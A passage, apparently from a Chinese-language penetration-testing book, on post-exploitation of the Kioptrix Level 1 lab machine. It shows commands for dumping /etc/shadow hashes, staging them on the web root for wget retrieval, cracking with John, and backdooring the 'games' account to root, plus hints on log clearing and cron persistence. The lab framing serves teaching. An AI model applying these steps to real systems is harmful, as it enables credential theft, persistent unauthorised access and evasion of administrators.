127.0.0.1 kioptix.level1 kioptix
cat hosts.allow
#
# hosts.allow This file describes the names of the hosts which are
# allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
#
cat hosts.deny
#
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
#
# The portmap line is redundant, but it is left to remind you that
# the new secure portmap uses hosts.deny and hosts.allow. In particular
# you should know that NFS uses portmap!
注意
如果您的目标系统正在运行 DNS 服务器,您应该查看 DNS 缓存。DNS 缓存可能包含有关您正在测试的网络的大量信息。
要找到存储在系统上的其他 DHCP 信息,我们必须首先切换到/etc/dhcpc
目录。
提示
如果系统使用静态配置的 IP,则可以在 RedHat 的/etc/sysconfig/network-scripts/ifcfg <interface name>
或 Ubuntu 的/etc/network/interfaces
中找到信息。
然后我们使用 cat 来查看dhcpcd-eth0.info
的内容:
cd /etc/dhcpc
ls
dhcpcd-eth0.cache
dhcpcd-eth0.info
cat dhcpcd-eth0.info
IPADDR=192.168.75.14
NETMASK=255.255.255.0
NETWORK=192.168.75.0
BROADCAST=192.168.75.255
GATEWAY=192.168.75.1
DOMAIN=localdomain
DNS=192.168.75.1
DHCPSID=192.168.75.1
DHCPGIADDR=0.0.0.0
DHCPSIADDR=0.0.0.0
DHCPCHADDR=08:00:27:21:21:62
DHCPSHADDR=08:00:27:DF:92:32
DHCPSNAME=
LEASETIME=86400
RENEWALTIME=43200
REBINDTIME=75600
现在我们知道了使用的网关、域、DNS 等信息。这种类型的信息将使我们能够更全面地了解系统和我们正在处理的网络。毕竟,在面向目标的渗透测试中,我们应该努力找到实际对业务有影响的东西。
确定连接
监听服务有时可以提供有关您所在系统的额外信息。出站连接可以让您了解系统的目的是什么。它们还可能指示网络上的潜在目标。如果在另一台服务器上有一个网络服务的活动连接,它可能正在使用稍后阶段可以收集的凭据。让我们来看看机器上运行的服务。
netstat -an
netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:32768 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:45295 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 192.168.75.14:45295 192.168.75.25:46759 ESTABLISHED
udp 0 0 0.0.0.0:32768 0.0.0.0:*
udp 0 0 127.0.0.1:32770 0.0.0.0:*
udp 0 0 192.168.75.14:137 0.0.0.0:*
udp 0 0 0.0.0.0:137 0.0.0.0:*
udp 0 0 192.168.75.14:138 0.0.0.0:*
udp 0 0 0.0.0.0:138 0.0.0.0:*
udp 0 0 0.0.0.0:843 0.0.0.0:*
udp 0 0 0.0.0.0:111 0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 8 [ ] DGRAM 912 /dev/log
unix 2 [ ACC ] STREAM LISTENING 1229 /dev/gpmctl
unix 2 [ ] DGRAM 1247
unix 2 [ ] DGRAM 1210
unix 2 [ ] DGRAM 1158
unix 2 [ ] DGRAM 1082
unix 2 [ ] DGRAM 966
unix 2 [ ] DGRAM 921
unix 2 [ ] STREAM CONNECTED 580
不幸的是,我们在这里没有什么有趣的东西可以看。
注意
请注意我们的连接是可见的。如果有人在观察连接,他们将能够阻止你的 IP,可能挫败你的攻击。在进行白盒测试时,还有可能在成功连接到服务器后,管理员会关闭你的连接。根据渗透测试的目标,这可能是管理员或安全专业人员采取的适当行动。
理想情况下,我们会看到来自网络上其他服务器的服务连接。这些信息可以帮助你确定下一步的步骤,甚至在确定你的优先级时。例如,如果有一个管理员使用 SSH 连接到这台机器,我们会想知道他是从哪里连接的,这样我们就可以尝试访问他的机器。
检查已安装的软件包
现在我们需要查看系统上安装了什么类型的软件。我们有足够的信息表明这个系统正在运行 Red Hat。使用 RPM 列出已安装的软件包。你可以使用--last
选项来显示软件包最后修改的时间。我们将截断输出,但如果你跟着做,你会明白为什么将这些信息导入文件以供以后审查是很重要的。请注意,不同版本的 Linux 使用不同的软件包安装程序。RPM 对某些软件包有效,但不是全部。使用适合你目标操作系统的适当软件包列表命令。
rpm -qa --last
zlib-devel-1.1.3-24 Sat Sep 26 05:33:31 2009
libpng-devel-1.0.12-2 Sat Sep 26 05:33:31 2009
libodbc++-devel-0.2.2pre4-12 Sat Sep 26 05:33:30 2009
VFlib2-devel-2.25.1-20 Sat Sep 26 05:33:30 2009
unixODBC-devel-2.0.7-3 Sat Sep 26 05:33:29 2009
texinfo-4.0b-3 Sat Sep 26 05:33:29 2009
swig-1.1p5-10 Sat Sep 26 05:33:29 2009
strace-4.3-2 Sat Sep 26 05:33:28 2009
[TRUNCATED]
软件包存储库
有趣的是,许多公司使用本地软件包存储库来更新他们的基于 Linux 的系统。如果你能够破坏其中一个存储库,你可以在使用这些存储库的所有系统上安排安装后门。查看你的BackTrack系统,并尝试以下命令:
# cat /etc/apt/sources.list
deb http://all.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://64.repository.backtrack-linux.org revolution main microverse non-free testing
deb http://source.repository.backtrack-linux.org revolution main microverse non-free testing
正如你所看到的,我们从一组非常具体的存储库中获取数据。这些存储库被世界各地的人访问,以更新他们的 BackTrack 实例。如果你所在的网络使用他们自己的存储库来进行更新,确保这些系统是完全安全的。所有指向这些存储库的系统都将从这些受信任的来源获取他们的文件…
在启动时运行的程序和服务
了解在启动时运行的程序和服务也非常重要。在 Kioptrix shell 中输入以下命令:
cd /etc/rc.d
ls
init.d
rc
rc.local
rc.sysinit
rc0.d
rc1.d
rc2.d
rc3.d
rc4.d
rc5.d
rc6.d
如果我们查看rc.local
文件,我们会看到以下内容:
cat rc.local
#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
nmbd
smbd
httpd -D HAVE_SSL
touch /var/lock/subsys/local
Kioptrix 团队已经设置了几个项目,在系统启动时启动。为了更好地控制这些进程,它们可能会指向一个脚本,在它们各自的 rc0-6s 中启动。
搜索信息
一定要枚举目标设备的目录结构。很多时候,仅仅从安装的程序和相关的目录结构中看,就可以确定服务器的用途。看一下 Kioptrix 文件系统:
df -h
Filesystem Size Used Avail Use% Mounted on
/dev/hda5 374M 67M 287M 19% /
/dev/hda1 49M 5.9M 41M 13% /boot
/dev/hda3 554M 17M 509M 4% /home
none 125M 0 124M 0% /dev/shm
/dev/hda2 1.5G 576M 859M 41% /usr
/dev/hda7 248M 28M 207M 12% /var
现在我们知道分区是如何设置的,让我们看看我们正在处理什么:
cd /home
ls -oaF
total 29
drwxr-xr-x 5 root 4096 Sep 26 2009 ./
drwxr-xr-x 19 root 1024 Jan 3 23:40 ../
drwx------ 2 harold 4096 Nov 16 23:13 harold/
drwx------ 2 john 4096 Sep 26 2009 john/
drwxr-xr-x 2 root 16384 Sep 26 2009 lost+found/
在这里可以看到至少有两个用户主目录。如果我们想要下载整个目录结构和所有文件的列表,以便以后审查,我们可以使用 tree 并将输出放入文件中以供以后传输。
cd /
tree -iafFp > directoryListing
这个命令为我们提供了一个递归的目录列表。我们选择不用-i
打印缩进,用-a
显示所有文件,包括隐藏的文件,想要用-f
看到整个文件路径,用-F
在末尾添加字符,让我们知道我们是在查看文件还是目录,最后选择用-p
查看文件权限。
注意
生成的文件很大,在某些系统上甚至可能会导致资源使用量短暂增加,所以请谨慎操作。
如果我们查看文件的头部和尾部,我们可以以合理的方式看到我们的输出:
head directoryListing
.
[-rw-r--r--] ./.autofsck
[drwxr-xr-x] ./bin/
[-rwxr-xr-x] ./bin/arch*
[-rwxr-xr-x] ./bin/ash*
[-rwxr-xr-x] ./bin/ash.static*
[-rwxr-xr-x] ./bin/aumix-minimal*
[lrwxrwxrwx] ./bin/awk -> gawk*
[-rwxr-xr-x] ./bin/basename*
[-rwxr-xr-x] ./bin/bash*
tail directoryListing
[-rw-r--r--] ./var/www/icons/uuencoded.gif
[-rw-r--r--] ./var/www/icons/world1.gif
[-rw-r--r--] ./var/www/icons/world2.gif
[drwxr-xr-x] ./var/yp/
[-rw-r--r--] ./var/yp/Makefile
[drwxr-xr-x] ./var/yp/binding/
[-rw-r--r--] ./var/yp/nicknames
[-rw-r--r--] ./var/yp/securenets
2795 directories, 51774 files
这个特定的系统有超过 50,000 个文件需要审查。 使用有趣的文件名进行 Grep 搜索会节省大量时间。 还要仔细检查文件权限。 也许有一个可读可写的全局目录,可以在以后用于设置一些持久性。
历史文件和日志
可以审查历史文件和日志,以确定系统最近被用于什么目的。
# ls -la /root
我们可以列出根目录的内容以寻找线索。
total 15
drwxr-x--- 4 root root 1024 Jan 3 21:42 .
drwxr-xr-x 19 root root 1024 Jan 7 14:39 ..
-rw-r--r-- 1 root root 1126 Aug 23 1995 .Xresources
-rw------- 1 root root 215 Nov 16 18:21 .bash_history
-rw-r--r-- 1 root root 24 Jun 10 2000 .bash_logout
-rw-r--r-- 1 root root 234 Jul 5 2001 .bash_profile
-rw-r--r-- 1 root root 176 Aug 23 1995 .bashrc
-rw-r--r-- 1 root root 210 Jun 10 2000 .cshrc
-rw-rw-rw- 1 root root 11 Nov 13 21:14 .mh_profile
drwx------ 2 root root 1024 Jan 3 21:42 .ssh
-rw-r--r-- 1 root root 196 Jul 11 2000 .tcshrc
drwx------ 2 root root 1024 Nov 13 21:14 Mail
-rw-r--r-- 1 root root 1303 Sep 26 2009 anaconda-ks.cfg
查看.bash_history
文件,看看最近使用了哪些命令:
cat /root/.bash_history
ls
mail
mail
clear
echo "ls" > .bash_history && poweroff
nano /etc/issue
pico /etc/issue
pico /etc/issue
ls
clear
ls /home/
exit
ifconfig
[TRUNCATED]
我们发现 root 用户运行了一些有趣的命令,如mail
和nano /etc/issue
。 查看/etc/issue
,您将看到以下内容:
Welcome to Kioptrix Level 1 Penetration and Assessment Environment
--The object of this game:
|_Acquire "root" access to this machine.
There are many ways this can be done, try and find more then one way to
appreciate this exercise.
DISCLAIMER: Kioptrix is not responsible for any damage or instability
caused by running, installing or using this VM image.
Use at your own risk.
WARNING: This is a vulnerable system, DO NOT run this OS in a production
environment. Nor should you give this system access to the outside world
(the Internet - or Interwebs..)
Good luck and have fun!
查看邮件命令,您将看到有几条日志消息发送给系统管理员。 您会想要清理这些,因为它们包含可能会提醒管理员您一直在尝试访问该系统的信息。 在下一章中讨论检测规避时,我们将重新讨论这个问题。
请记住,系统上每个交互式用户都有一个.bash_history
。 应该检查这些,看看是否有任何经常使用的文件或应用程序,可能包含有助于渗透测试的数据。
locate .bash_history
/home/john/.bash_history
/home/harold/.bash_history
/root/.bash_history
提示
在审查目标系统时,使用通配符可能非常有帮助。 例如,尝试ls -al /home/*/
或 cat/home/*/.bash_history
。 这些命令是巨大的时间节省者,并且在为未知的系统配置编写脚本时非常出色。
我们需要查看/var/log
中的一些日志:
cd /var/log
ls -laG
total 2419
drwxr-xr-x 8 root 2048 Jan 7 14:39 .
drwxr-xr-x 20 root 1024 Sep 26 2009 ..
-rw------- 1 root 23988 Jan 7 14:39 boot.log
-rw------- 1 root 8554 Jan 1 19:16 boot.log.1
-rw------- 1 root 3997 Dec 11 19:42 boot.log.2
-rw------- 1 root 20983 Nov 29 18:28 boot.log.3
-rw------- 1 root 16489 Nov 13 15:07 boot.log.4
-rw------- 1 root 78641 Jan 7 16:45 cron
-rw------- 1 root 94739 Jan 1 19:21 cron.1
-rw------- 1 root 10495 Dec 11 19:47 cron.2
-rw------- 1 root 63203 Nov 29 18:33 cron.3
-rw------- 1 root 8864 Nov 13 15:12 cron.4
-rw-r--r-- 1 root 5770 Jan 7 14:39 dmesg
drwxr-xr-x 2 root 1024 Jun 24 2001 fax
drwxr-xr-x 2 root 1024 Jan 7 14:44 httpd
-rw-r--r-- 1 root 49879 Jan 7 14:39 ksyms.0
-rw-r--r-- 1 root 49879 Jan 3 23:40 ksyms.1
-rw-r--r-- 1 root 49879 Jan 3 16:13 ksyms.2
-rw-r--r-- 1 root 49879 Jan 3 14:52 ksyms.3
-rw-r--r-- 1 root 49879 Jan 2 18:03 ksyms.4
-rw-r--r-- 1 root 49879 Jan 2 17:03 ksyms.5
-rw-r--r-- 1 root 49879 Jan 1 19:16 ksyms.6
-rw-r--r-- 1 root 19136220 Nov 16 23:13 lastlog
-rw------- 1 root 34690 Jan 7 16:48 maillog
-rw------- 1 root 1866 Jan 1 19:21 maillog.1
-rw------- 1 root 770 Dec 11 19:47 maillog.2
-rw------- 1 root 102520 Nov 29 18:33 maillog.3
-rw------- 1 root 1915 Nov 13 15:12 maillog.4
-rw------- 1 root 98074 Jan 7 14:44 messages
-rw------- 1 root 33312 Jan 1 19:16 messages.1
-rw------- 1 root 16485 Dec 11 19:42 messages.2
-rw------- 1 root 437542 Nov 29 18:28 messages.3
-rw------- 1 root 65865 Nov 13 15:07 messages.4
-rwx------ 1 postgres 0 Sep 26 2009 pgsql
-rw-r--r-- 1 root 10876 Jan 7 14:44 rpmpkgs
-rw-r--r-- 1 root 10876 Dec 14 04:02 rpmpkgs.1
-rw-r--r-- 1 root 10876 Nov 29 18:33 rpmpkgs.2
-rw-r--r-- 1 root 10876 Nov 17 04:02 rpmpkgs.3
-rw-r--r-- 1 root 10876 Nov 11 14:38 rpmpkgs.4
drwxr-xr-x 2 root 1024 Jan 7 14:40 sa
drwx------ 2 root 1024 Jan 1 19:21 samba
-rw------- 1 root 2033 Jan 7 15:32 secure
-rw------- 1 root 215 Jan 1 19:16 secure.1
-rw------- 1 root 73 Dec 11 19:42 secure.2
-rw------- 1 root 802251 Nov 29 18:32 secure.3
-rw------- 1 root 456 Nov 13 15:06 secure.4
-rw------- 1 root 0 Jan 1 19:21 spooler
-rw------- 1 root 0 Dec 11 19:47 spooler.1
-rw------- 1 root 0 Nov 29 18:33 spooler.2
-rw------- 1 root 0 Nov 13 15:12 spooler.3
-rw------- 1 root 0 Nov 10 19:34 spooler.4
drwxr-x--- 2 squid 1024 Aug 7 2001 squid
drwxr-xr-x 2 root 1024 Aug 27 2001 vbox
-rw-rw-r-- 1 root 43776 Jan 7 14:39 wtmp
-rw-rw-r-- 1 root 20736 Jan 1 19:16 wtmp.1
-rw------- 1 root 0 Jan 1 19:21 xferlog
-rw------- 1 root 0 Dec 11 19:47 xferlog.1
-rw------- 1 root 0 Nov 29 18:33 xferlog.2
-rw------- 1 root 0 Nov 13 15:12 xferlog.3
-rw------- 1 root 0 Nov 10 19:34 xferlog.4
浏览其中一些文件,并确保至少审查了重要文件,如messages, secure
等。 渗透测试人员应该熟悉这些文件,就像日常管理员一样。 如果您不了解正在使用的操作系统,您的完全测试能力将受到限制。 查看安全日志,看看能找到多少信息:
tail secure
Jan 2 20:09:13 kioptrix sshd[1969]: Connection closed by 192.168.75.18
Jan 2 20:09:13 kioptrix sshd[1970]: Connection closed by 192.168.75.18
Jan 2 20:09:14 kioptrix sshd[1973]: Connection closed by 192.168.75.18
在一本书的一个章节内审查太多日志文件。 确保熟悉您可以在系统上找到的数据。
配置、设置和其他文件
还有许多其他文件将提供与您的渗透测试相关的关键系统信息。 查看以下一些文件:
cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
0-59/5 * * * * root /usr/bin/mrtg /etc/mrtg/mrtg.cfg
Crontab 允许我们安排任务。 这可以用于设置持久性或运行您无权运行的程序。 Crontab 将以 root 用户身份运行任务。
fstab
是控制分区挂载方式的配置文件。
cat /etc/fstab
LABEL=/ / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
none /dev/pts devpts gid=5,mode=620 0 0
LABEL=/home /home ext3 defaults 1 2
none /proc proc defaults 0 0
none /dev/shm tmpfs defaults 0 0
LABEL=/usr /usr ext3 defaults 1 2
LABEL=/var /var ext3 defaults 1 2
/dev/hda6 swap swap defaults 0 0
/dev/cdrom /mnt/cdrom iso9660 noauto,owner,kudzu,ro 0 0
以下是可能感兴趣的其他配置文件列表:
-
/etc/master.passwd
-
/etc/resolv.conf
-
/etc/apache2/httpd.conf
或/etc/httpd/conf/httpd.conf
-
/etc/exports
-
/etc/ldap/ldap.conf
-
/etc/samba/smb.conf
提示
挑战: 浏览目标系统,找到您最感兴趣的文件,然后创建一个允许您自动化整个过程的脚本!
其他可以提供有价值信息的文件包括/mnt, /media, /tmp, /opt
,当然还有与目标机器上安装的项目相关的特定配置或数据文件。 例如,如果目标系统包含 Apache 的实例或任何其他特定软件,您会想要检查配置和日志文件。
用户和凭据
有几个文件控制用户访问系统及其文件。 除了收集有关网络和服务数据的其他部分,这可能是渗透后最重要的部分。 如果能够确定用户名和密码在网络中其他系统上有效,那么渗透测试成功的可能性将大大增加。 对于 Linux 系统,有几个文件可用于尝试获取用户凭据。
我们还应该使用w
来检查谁已经在系统上:
w
9:49pm up 7:09, 0 users, load average: 6.29, 2.65, 0.98
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
我们可以通过输入last:
来确定最后登录的人是谁。
last
last
reboot system boot 2.4.7-10 Sat Jan 7 14:39 (07:13)
reboot system boot 2.4.7-10 Tue Jan 3 23:40 (3+22:12)
wtmp begins Mon Jan 2 17:03:16 2012
看起来没有实际的用户登录。如前面的输出所示,使用last
命令时也会显示重新启动。
确定最近是否有任何本地用户帐户访问系统的一种方法是使用lastlog
,它将列出所有用户帐户和他们最后登录的时间:
lastlog
Username Port From Latest
root pts/0 192.168.75.12 Wed Nov 16 16:11:52 -0500 2011
bin **Never logged in**
daemon **Never logged in**
adm **Never logged in**
lp **Never logged in**
sync **Never logged in**
shutdown **Never logged in**
halt **Never logged in**
mail **Never logged in**
news **Never logged in**
uucp **Never logged in**
operator **Never logged in**
games **Never logged in**
gopher **Never logged in**
ftp **Never logged in**
nobody **Never logged in**
mailnull **Never logged in**
rpm **Never logged in**
xfs **Never logged in**
rpc **Never logged in**
rpcuser **Never logged in**
nfsnobody **Never logged in**
nscd **Never logged in**
ident **Never logged in**
radvd **Never logged in**
postgres **Never logged in**
apache **Never logged in**
squid **Never logged in**
pcap **Never logged in**
john pts/0 192.168.1.100 Sat Sep 26 11:32:02 -0400 2009
harold pts/0 192.168.75.12 Wed Nov 16 23:13:07 -0500 2011
从输出中我们可以确定用户john
和harold
都已经登录到系统。一个是从192.168.1.100
网络登录的,另一个是从192.168.75.12
登录的。一旦我们从这两个帐户中获取了密码,我们应该首先确定这些系统是否在我们测试的范围内,如果是的话,我们应该尝试使用我们从 Kioptrix 机器收集到的凭据登录任何可用的服务。
在此期间,我们还应该枚举 SSH 密钥。我们可以查看/root/.ssh
目录,看看是否有任何迹象表明存在这样的密钥:
ls -laG
total 2
drwx------ 2 root 1024 Jan 3 21:42 .
drwxr-x--- 4 root 1024 Jan 7 15:14 ..
在这种情况下,Kioptrix 机器上没有可用的 SSH 密钥。让我们看看我们的 BackTrack 机器,看看结果是否类似。理想情况下,你会找到连接到远程机器所需的密钥。注意:这台机器必须通过 SSH 连接到其他机器。
root@bt:/# cd /root/.ssh
root@bt:~/.ssh# ls -laG
total 12
drwx------ 2 root 4096 2011-11-16 10:51 .
drwx------ 28 root 4096 2012-01-07 09:56 ..
-rw-r--r-- 1 root 270 2011-11-16 10:51 known_hosts
root@bt:~/.ssh# cat known_hosts
|1|DbaaaaaaGlFWCelYp3KEaaaWTtE=|z7BPaaaaaafdYE1SW/HaIaJaaQk= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvv8UUWsrO7+VCG/sadfasdfasdffasdfas dfasdfasdfasdfasdfasdfasdfasdfasdfnu9ksKD1fA83RyelgSgRJNQg PfFU3gngNno1yN6ossqkcMQTI1CY5nF6iYePs=
一旦我们把基本工作做完,我们需要收集/etc/passwd
和 shadow 文件,这样我们就可以尝试破解密码了。
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user:/:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nologin
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
pcap:x:77:77::/var/arpwatch:/bin/nologin
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash
cat /etc/shadow
root:$1$WasYaJER$pkIFNw3QPNYUjQvLaFr7A/:15294:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::
rpm:!!:14513:0:99999:7:::
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::
nfsnobody:!!:14513:0:99999:7:::
nscd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::
apache:!!:14513:0:99999:7:::
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::
harold:$1$X216PpNL$aMB5DK0mIxhg.BkiXmfjc/:15295:0:99999:7:::
shadow 文件包含了所有的哈希用户帐户密码。我们需要将这些密码解密才能对我们有用。
注意
使用第三方来破解客户的密码并不是一个好主意,除非你的客户完全明白你正在将密码发送到一个你无法控制的环境,并意识到这一过程中的固有风险。如果是这种情况,请确保**“书面确认”**以确保如果出了问题密码泄露到网络上,你有所覆盖……注意:一个真正的攻击者会毫不犹豫地将这些文件发送给一个未知的第三方进行破解,但是一切都有限度,失去对客户数据的控制并不是一个好主意。毕竟,与真实世界的攻击者不同,你应该关心你正在测试的环境的安全性!
移动文件
到目前为止屏幕上已经有了很多数据。通常情况下,你会希望将这些数据推送回一个在你控制之下的系统。无论是一个你内部设置的受损系统作为存储库,还是直接连接回攻击系统,你都需要想出一些方法将这些数据传回。
注意
不要使用生产级别的开放 Web 服务器来存储或传输机密文件!一个经验法则是,你应该把客户数据当作自己的数据来对待,并且将关键的密码文件放在一个开放共享或任何其他不受控制的存储中是一个非常糟糕的主意。在现实生活中,你会建立一个安全的传输机制,在这个机制中你对数据有完全的控制。尽可能地,它还应该进行加密,特别是在通过互联网路由时。
Kioptrix 机器安装了一个开放的 Web 服务器,所以最简单的方法之一是将文件复制到对所有人开放的/var/www/html
目录中。在 Kioptrix shell 中输入:
cp /etc/passwd /var/www/html/passwd
cp /etc/shadow /var/www/html/shadow
chmod 744 /var/www/html/shadow
通过输入以下内容在 BackTrack 上获取文件,这将创建一个名为kioptrixFiles
的目录,将pwd
更改为该目录,然后从 Kioptrix Web 服务器上拉取文件:
# mkdir kioptrixFiles
# cd kioptrixFiles
root@bt:~/kioptrixFiles# wget http://192.168.75.14/passwd
--2012-01-08 15:36:37-- http://192.168.75.14/passwd
Connecting to 192.168.75.14:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1330 (1.3K) [text/plain]
Saving to: `passwd'
100%[======================================>] 1,330 --.-K/s in 0s
2012-01-08 15:36:37 (25.1 MB/s) - `passwd' saved [1330/1330]
root@bt:~/kioptrixFiles# wget http://192.168.75.14/shadow
--2012-01-08 15:44:08-- http://192.168.75.14/shadow
Connecting to 192.168.75.14:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 948 [text/plain]
Saving to: `shadow'
100%[====================================>] 948 --.-K/s in 0s
2012-01-08 15:44:08 (50.9 MB/s) - `shadow' saved [948/948]
shadow
和passwd
现在都在 BackTrack 的kioptrixFiles
目录中。在继续之前,我们应该从 Kioptrix 机器上的 Web 服务器中删除这两个文件:
rm /var/www/html/shadow
rm /var/www/html/passwd
在 BackTrack 机器上打开一个 shell,并浏览到您的/pentest/passwords/john
目录,我们将使用 unshadow 将 Kioptrix 的passwd
和shadow
文件合并成kioptrixPW.db
。
# cd /pentest/passwords/john
# pentest/passwords/john# ./unshadow /root/kioptrixFiles/passwd /root/kioptrixFiles/shadow > /root/kioptrixFiles/kioptrixPW.db
现在我们有了必要的文件,我们可以使用 john 尝试破解kioptrixPW.db
中的哈希。
注意
请注意,破解密码可能需要几分钟、几小时,甚至几天,这取决于使用的密码的复杂性…
# root@bt:/pentest/passwords/john# john /root/kioptrixFiles/kioptrixPW.db
在不使用漏洞的情况下更快地访问系统的方法是修改现有帐户。打开一个 shell 到您的 Kioptrix 机器,使用 samba(或任何其他允许 root 访问的漏洞),然后输入以下内容来更改 games 帐户,以允许登录和 root 访问。
cd /etc
awk -F ":" 'BEGIN{OFS = ":"} $1 == "games" {$3="0"}{$4="0"}{$7="/bin/bash"}{ print }' passwd > test
由于我们在反向 shell 中受到的限制,我们使用awk
来创建文件的修改版本。我们将用户和组 UID 更改为与 root 相等,并添加/bin/bash
shell,以便我们可以远程登录。
cp passwd passwdOLD
在更改任何现有文件之前,我们应该先备份它们。在为客户执行测试时,这一点尤为重要。
cp test passwd
我们复制修改后的测试文件以覆盖passwd
。
chmod 644 passwd
将权限更改回与原始文件相匹配可能会防止未来的复杂情况。
passwd games
New password: 1funnypassword
Retype new password: 1funnypassword
Changing password for user games
passwd: all authentication tokens updated successfully
我们为 games 帐户添加了密码。当前的 SSH 帐户不允许空密码。
在 BackTrack 机器上打开一个新的终端,并使用您的新帐户连接回 Kioptrix。使用您为 games 帐户创建的密码(如果您完全跟随,密码为 1funnypassword):
root@bt:~/kioptrixFiles# ssh -l games 192.168.75.14
games@192.168.75.14's password:
Last login: Mon Jan 9 00:35:42 2012 from 192.168.75.25
bash-2.05# whoami
root
我们使用修改后的 games 帐户连接到 SSH 服务器。所有先前的 shell 限制现在已被移除,我们可以在系统上使用任何命令,比如visudo
,而不会出错。
Microsoft Windows™后渗透
大多数您测试的环境将有许多基于 Windows™的系统。了解重要文件和设置的位置以及在处理您的漏洞 shell 所施加的限制时如何获取和审查它们是很重要的。在这里,我们将讨论获取这些数据所使用的各种方法。我们无法考虑到每个操作系统或可能性,但我们可以提供某人开始所需的基本知识。
注意
基于 Windows 的操作系统使用包含几乎任何您想要的数据的 GPO,以便在 Microsoft Windows 操作系统上进行后渗透信息收集。
为了跟随本节,您需要:
-
一个注册的 Microsoft Windows XP SP2 副本:这台机器还需要分配一个额外的虚拟 NIC 给 Vlab_1 虚拟网络(192.168.50.0/24)。如果您已经跟随之前的章节,您将已经让 VirtualBox 分配 IP 地址给该虚拟段。
-
Kioptrix Level 1 连接到 Vlab_1(192.168.50.0/24)。
-
连接到 VLAN1(192.168.75.0/24)的 BackTrack 客户机。
-
pfSense 客户机为 VLAN1 网络提供其 DHCP 地址。
注意
所有示例都将得到清晰的记录,以防您没有 Windows 机器可用于测试目的。
重要的目录和文件
在 Windows 机器中有许多重要的文件和目录。其中一些包括以下内容:
文件 | 路径 |
---|---|
*.log | %WINDIR%\system32\CCM\logs\*.log |
AppEvent.Evt | %WINDIR%\system32\config\AppEvent.Evt |
boot.ini | %SYSTEMDRIVE%\boot.ini |
default.sav | %WINDIR%\system32\config\default.sav |
hosts | %WINDIR%\System32\drivers\etc\hosts |
index.dat | Content.IE5\index.dat 和其他位置 |
NetSetup.log | %WINDIR%\debug\NetSetup.log |
ntuser.dat | %USERPROFILE%\ntuser.dat |
pagefile.sys | %SYSTEMDRIVE%\pagefile.sys |
SAM | %WINDIR%\repair\sam |
SecEvent.Evt | %WINDIR%\system32\config\SecEvent.Evt |
security.sav | %WINDIR%\system32\config\security.sav |
software.sav | %WINDIR%\system32\config\software.sav |
system | %WINDIR%\repair\system |
system.sav | %WINDIR%\system32\config\system.sav |
win.ini | %WINDIR%\win.ini |
使用 Armitage 进行后期利用
